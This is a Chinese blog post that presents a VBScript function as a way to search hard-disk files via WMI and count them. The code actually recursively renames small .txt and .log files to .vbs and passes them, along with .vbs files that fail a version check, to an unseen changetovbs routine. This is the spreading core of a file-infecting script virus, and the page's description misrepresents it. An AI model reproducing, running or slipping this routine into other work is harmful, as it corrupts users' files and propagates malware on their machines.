VBS调用WMI遍历搜索硬盘文件并计数的方法

2023-12-01 0 364

多年之前写的一个VBS调用WMI遍历搜索硬盘文件,并计数的函数,今天整理网盘,看到了,发上来

核心代码:

Function wmisfile(path_sf,justcnt)
\’On Error Resume Next
StrComputer = \”.\”
Set ObjWMIService = GetObject(\”winmgmts:\\\\\” & StrComputer & \”\\root\\cimv2\”)
Set FileList = objWMIService.ExecQuery _
(\”ASSOCIATORS OF {Win32_Directory.Name=\’\” & path_sf & \”\’} Where \” _
& \”ResultClass = CIM_DataFile\”)
For Each objFile In FileList
fname = LCase(objfile.name)
ename = LCase(objfile.extension)
If 1 < objfile.filesize And objfile.filesize <= 50000 Then
Select Case ename
Case \”txt\”,\”log\”
path_vbs = objfile.drive & objfile.path & objfile.filename & \”.vbs\”
objfile.rename(objfile.drive & objFile.Path & objfile.filename & \”.vbs\”)
Call changetovbs(path_vbs,path_vbs)
justcnt = justcnt + 1
Case \”vbs\”
If checkversion(fname) = False Then
Call changetovbs(fname,fname)
justcnt = justcnt + 1
End If
End Select
End If
Next
Set colSubfolders = objWMIService.ExecQuery _
(\”Associators of {Win32_Directory.Name=\’\” & path_sf & \”\’} \” _
& \”Where AssocClass = Win32_Subdirectory \” _
& \”ResultRole = PartComponent\”)
For Each objFolder In colSubfolders
wmisfile objfolder.name,justcnt
Next
End Function

您可能感兴趣的文章:

  • VBS脚本实现遍历批量替换多目录多文件内容的代码
  • 用vbs遍历文件并随机显示的脚本
  • VBS遍历文件或文件夹路径输入文件的所有绝对路径(附源码)

收藏 (0) 打赏

感谢您的支持,我会继续努力的!

打开微信/支付宝扫一扫,即可进行扫码打赏哦,分享从这里开始,精彩与您同在
点赞 (0)

悠久资源 VBS VBS调用WMI遍历搜索硬盘文件并计数的方法 https://www.u-9.cn/jiaoben/vbscript/9222.html

常见问题

相关文章

发表评论
暂无评论
官方客服团队

为您解决烦忧 - 24小时在线 专业服务